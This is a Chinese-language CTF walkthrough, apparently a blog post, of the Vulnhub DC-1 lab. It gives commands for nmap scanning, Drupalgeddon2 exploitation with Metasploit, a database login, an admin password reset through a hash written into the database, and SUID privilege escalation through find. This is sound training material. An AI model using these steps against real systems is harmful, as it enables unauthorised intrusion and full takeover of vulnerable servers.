• Vulnhub实战靶场:DC-1


    一、环境搭建

    1、官网下载连接:https://www.vulnhub.com/entry/dc-1,292/

    2、下载之后,使用Oracle VM VirtualBox导入靶场环境

    3、为了正常练习,将靶场的网卡模式设置为桥接模式,启动即可

    二、靶场攻略

    1、使用nmap,快读探测网段内存活主机,输入命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,发现靶场主机ip地址

     2、探测靶场主机启动的端口服务器情况,寻找突破口

    输入命令:nmap -A -P- 10.10.114.146,发现开启的端口有22,80,111,33409

     

    3、访问80端口,寻找突破口,发现靶场使用的为Drupal的CMS

     4、启动msf,在msf中输入命令:search Drupal,搜索到了利用的exp

     输入命令:use exploit/unix/webapp/drupal_drupalgeddon2,使用该exp

    输入命令:set rhosts 10.10.114.146,设置目标

    输入命令:run,启动攻击,成功getshell

     输入命令:python -c 'import pty;pty.spawn("/bin/bash")',获取交互shell

     5、在www目录中,发现flag1.txt,还有下一步的提示

     6、根据提示,寻找到配置文件,还有flag2,获得下一步提示

     7、根据配置文件和提示,登录到数据库中,寻找下一步突破口

    输入命令:mysql -udbuser -pR0ck3t

     进入到配置文件中的数据库drupaldb中,查看drupaldb数据库的表,获得users表

    获得users表中的账号密码信息

     

     8、密码是没法破解成功的,搜寻资料,知道了Drupal的加密脚本在文件中,所以可以使用加密文件,将自己想要的密码使用加密文件加密,之后将加密的字符写入到对于的数据表中来登录

    重置密码的方法

     根据官网的方法使用命令:./scripts/password-hash.sh admin,获得到加密的字符

     然后将得到的加密字符,写入到mysql数据库对于的admin账户中

    在mysql数据库中输入命令:update users set pass='$S$DROGKHBo1wFwcVZI7HBpIaxVUGKsUx3ktf6Zn4aqCzZueCiJHHmN' where uid=1;

     

     使用修改后的admin管理员,成功登录后台

     9、在后台的Dashboard(仪表盘)处,发现flag3

     10、返回shell中,寻找flag4,查看到下一步提醒,要获得最后的flag,需要root权限

     11、进行最后的提权,之前find命令既然可以执行,可以尝试find提权

    输入命令:find / -user root -perm -4000 -print 2>/dev/null
    输入命令:find / -perm -u=s -type f 2>/dev/null
    输入命令:find / -user root -perm -4000 -exec ls -ldb {} ;

    发现这几个命令都可以正常执行

     既然都可以正常执行,说明存在find的uid提权操作

    切换到可写目录www中

    输入命令:touch shell

    之后输入命令:find -name shell -exec "/bin/sh" ; 成功提权,之后切换到/root目录中,获得最后的flag文件

     

     完

  • 相关阅读:
    Python 元组
    Python 字典
    Python 列表
    Python 数字(函数)
    Python 序列操作符与函数(字符串)
    JavaScript使用IEEE 标准进行二进制浮点运算,产生莫名错误
    网站用户体验要点(翻译理论)
    去掉checkbox边框的方法
    WPF数据模板样式选择器
    JS中年份问题的纠结!
  • 原文地址:https://www.cnblogs.com/sym945/p/13731151.html
Copyright © 2020-2023  润新知